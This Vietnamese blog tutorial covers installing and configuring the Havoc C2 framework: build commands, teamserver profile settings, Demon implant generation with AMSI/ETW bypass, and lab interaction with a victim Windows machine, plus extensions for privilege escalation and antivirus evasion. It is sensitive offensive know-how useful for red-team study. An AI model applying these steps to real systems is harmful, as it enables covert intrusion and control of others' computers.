+9

Tìm hiểu về Havoc C2 Framework

Cobalt Strike, Brute Ratel và Metasploit Pro là những cái tên "lừng danh" trong lĩnh vực Command & Control (C2) Frameworks. Tuy nhiên, cũng chính vì sự nổi tiếng đó mà chúng luôn là mục tiêu của các phần mềm bảo mật, gây ra nhiều trở ngại trong quá trình tấn công. Hơn nữa với chi phí đắt đỏ , việc tiếp cận những công cụ này cũng trở nên rất khó khăn. Trước bối cảnh đó, Havoc Framework ra đời như một Framework thú vị với nhiều chức năng và hoàn toàn miễn phí.

1. Giới thiệu Havoc Framework

Havoc Framework được giới thiệu lần đầu vào tháng 10 năm 2022 bởi C5pider . Với khả năng bypass Windows Defender mạnh mẽ , khả năng phát triển linh hoạt cùng với nguồn dữ liệu phong phú , công cụ này nhanh chóng trở thành trợ thủ đắc lực cho các nhóm APT (Machete, machete-apt, APT-C-43, G0095)

Ảnh dưới đây thể hiện mức độ quan tâm của Hacker với công cụ này

image.png

Sự tăng / giảm số lượng người dùng phụ thuộc vào thời điểm mà công cụ này có khả năng bypass Windows Defender được hay không.

2. Cài đặt Havoc Framework

Giống như CobaltStrike , Havoc Framework sử dụng cơ chế client-server để vận hành, theo đó quá trình cài đặt sẽ diễn ra như sau :

Bước 1. Tiến hành cài đặt các gói phụ thuộc với câu lệnh sau

sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm

image.png

Bước 2. Xây dựng Havoc-Client

git clone https://github.com/HavocFramework/Havoc.git
make client-build

image.png

Sau khi biên dịch xong, ta khởi chạy Havoc client với câu lệnh sau :

./havoc client

image.png

Bước 3. Sau khi đã hoàn tất , ta thực hiện xây dựng Havoc-Teamserver

# Cài đặt gói phụ thuộc

go mod download golang.org/x/sys  
go mod download github.com/ugorji/go

# Biên dịch TeamServer
make ts-build

image.png

image.png

3. Cấu hình Havoc Framework

3.1. Cấu hình Teamserver

Tương tự CobaltStrike , Havoc Framework cũng sử dụng Profiles để cấu hình C2 , nội dung file này được lưu trữ mặc định tại "Havoc/Teamserver/profiles/havocdefault.yaotl" sử dụng ngôn ngữ HCL với các thành phần sau :

Teamserver : Quy định giá trị Host / Port của máy chủ Hacker

Teamserver { 
    Host = "0.0.0.0"
    Port = 40056
}

image.png

  • Host : IP của máy chủ Hacker
  • Port : Port của máy chủ Hacker (khuyến nghị thay đổi so với giá trị mặc định ban đầu)

Operators : Xác định giá trị Username/Password để đăng nhập Teamserver

Operators {
    user "5pider" {
        Password = "password1234"
    }

    user "Neo" {
        Password = "password1234"
    }
}

image.png

Demon : Cấu hình thông số mã độc thực thi trên máy nạn nhân

Demon {
    Sleep   = 2
    Jitter  = 20

    TrustXForwardedFor = false

    Implant {
        SleepMask = 1
        SleepMaskTechnique = 0
    }

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

image.png

  • Sleep : Khoảng thời gian chờ mặc định giữa các câu lệnh thực thi
  • Jitter : Jitter được áp dụng cho các khoảng thời gian chờ
  • TrustXForwardedFor : Cài đặt giá trị X-Forwarded-For cho host
  • Implant\SleepMask : Chấp nhận SleepMask
  • Implant\SleepMaskTechnique : Bao gồm các kỹ thuật che giấu tùy chọn WaitForSingleObjectEx (no obfuscation) , FOLIAGE , Ekko
  • Injection\Spawn64 : Process sẽ được mã độc hại injection với kiến trúc 64bit
  • Injection\Spawn32 : Process sẽ được mã độc hại injection với kiến trúc 32bit

Listeners : Cấu hình thông số lắng nghe trên máy Hacker

Havoc Framework hiện tại chỉ đáp ứng với 2 giao thức HTTP và HTTPS với config mặc định như sau:

Listeners {
    Http {
        Name         = "HTTPS Listener"
        KillDate     = "2006-01-02 15:04:05"
        WorkingHours = "8:00-17:00"
        Hosts        = ["10.0.0.10"]
        PortBind     = 443
        PortConn     = 443
        Method       = "POST"
        Secure       = true
        UserAgent    = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
        Uris         = [
            "/funny_cat.gif",
            "/index.php",
            "/test.txt",
            "/helloworld.js"
        ]
        Headers      = [
            "X-Havoc: true",
            "X-Havoc-Agent: Demon",
        ]

        Response {
            Headers  = [
                "Content-type: text/plain",
                "X-IsHavocFramework: true",
            ]
        }

    }
}

Trong đó các giá trị bao gồm :

  • Name : Tên của listener
  • KillDate (tùy chọn) : Cấu hình ngày Demon sẽ tự động shutdown
  • WorkingHours (tùy chọn) : Giờ mà Demon sẽ hoạt động
  • Hosts : IP được sử dụng để tương tác với Demon
  • PortBind /PortConn : Port được sử dụng để tương tác với Demon
  • Method : Phương thức sẽ được sử dụng để giao tiếp (HTTP hoặc HTTPS)
  • UserAgent : User Agent sẽ được Demon sử dụng
  • Headers / Response-Headers : Request và Response sẽ được Demon "giả lập" trong quá trình tương tác với nạn nhân

Hoàn tất cấu hình , ta khởi chạy Teamserver với câu lệnh sau

./teamserver server --profile ./profiles/havoc.yaotl -v --debug

Tất cả thông tin thu thập được sẽ nằm trong /Havoc/data/

3.2. Cấu hình Client

Để khởi chạy Havoc Client, ta sử dụng câu lệnh sau :

cd Havoc
./havoc client

image.png

Kết nối với TeamServer - điền các giá trị Name , Host , Port , Username , Password tương ứng với cấu hình trong Teamserver trước đó .

4. Thiết lập môi trường

Xây dựng môi trường với các thành phần sau :

  • Máy chủ Kali Linux chạy Havoc Framework (Hacker)
  • Máy chủ Windows 10 Pro đóng vai trò như máy tính nạn nhân (Victim).

4.1. Tạo một Listener

Bước 1. Để tạo một connection mới, trước tiên ta mở chức năng "View" > "Listeners"

image.png

Bước 2. Sau đó ta thấy chương trình hiển thị 3 chức năng bao gồm : "Add" , "Remote" , "Edit" . Sau khi ấn "Add" ta thấy cửa sổ hiện lên với tiêu đề "Create Listener"

image.png

Ở đây ta lần lượt điền các thông tin bao gồm :

  • Name : Tên của "Listener"
  • Payload : Kiểu Payload ta muốn sử dụng
  • Host (Bind): IP của máy chủ lắng nghe
  • Port : Port của máy chủ lắng nghe
  • User Agent: Dữ liệu hiển thị từ máy chủ kết nối tới C2

Bước 3. Sau khi điền đầy đủ các thông tin cần thiết, ta ấn "Save" để lưu lại

image.png

4.2. Tạo một mã độc hại (Demon)

Để tạo một mã độc hại ta tiến hành thực hiện các bước sau : Truy cập "Attack" > "Payload" > "Generate"

image.png

Các thông số cấu hình như sau :

  • Listener : Tên Listener mà ta đã cấu hình ở bước trên
  • Arch : Kiến trúc payload mã ta sẽ sử dụng (kiến trúc này phải trùng với môi trường mục tiêu)
  • Format : Định dạng của mã độc hại (.exe , .dll , shellcode ...)
  • Amsi/Etw Patch : Kỹ thuật được sử dụng để bypass AMSI - Windows Defender

image.png

4.3. Khởi chạy trên môi trường thực tế

image.png

Sau khi khởi chạy mã độc trên máy tính nạn nhân, hệ thống hiển thị với giao diện như sau :

Khu vực 3 : Chứa các thông tin về Listener , dữ liệu chat

Khu vực 2 : Chứa các thông tin về Event View

Khu vực 1 : Đây là nơi tương tác chính với hệ thống mục tiêu bao gồm đầy đủ các thông tin bao gồm ID , User , Computer Name , PID , Process ... Có thể chuyển đổi giao diện qua lại giữa chế độ Table View và Graph View

Để chạy command trên máy tính nạn nhân, ta click chuột phải vào giá trị "ID" chọn "Interact" image.png

  • sleep [delay] : Quy định thời gian chạy giữa các câu lệnh
  • job [list/ suspend / resume] : Triển khai đa luồng các tác vụ chạy lâu
  • proc : Hệ thống quản lý và liệt kê quy trình
  • token : Tương tác với token hệ thống
  • shellcode : Injection shellcode vào các tiến trình được chỉ định

Để tìm kiếm file trên máy tính nạn nhân, ta chọn "Explorer"

image.png

Để thêm các Extension hỗ trợ việc tấn công, ta chọn "Attack" > "Extension" > "Install"

image.png

  • havoc-bloodhoud : Hỗ trợ mapping hệ thống mục tiêu (trong trường hợp sử dụng Active Directory)
  • havoc-privkit : Hỗ trợ tìm kiếm các lỗ hổng leo thang đặc quyền trên hệ thống mục tiêu
  • havoc-ducky : Tạo payload thực thi áp dụng với USB Ducky
  • Havoc-DLLHijack : Thực hiện DLL Hijacking trên hệ thống mục tiêu
  • Shhhavoc : Module tính hợp bypass các thành phần Anti Virus

Để bypass Windows Defender các bạn có thể tham khảo nội dung video này hoặc video này (Tại thời điểm mình viết bài, phương pháp này vẫn có thể sử dụng được)


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.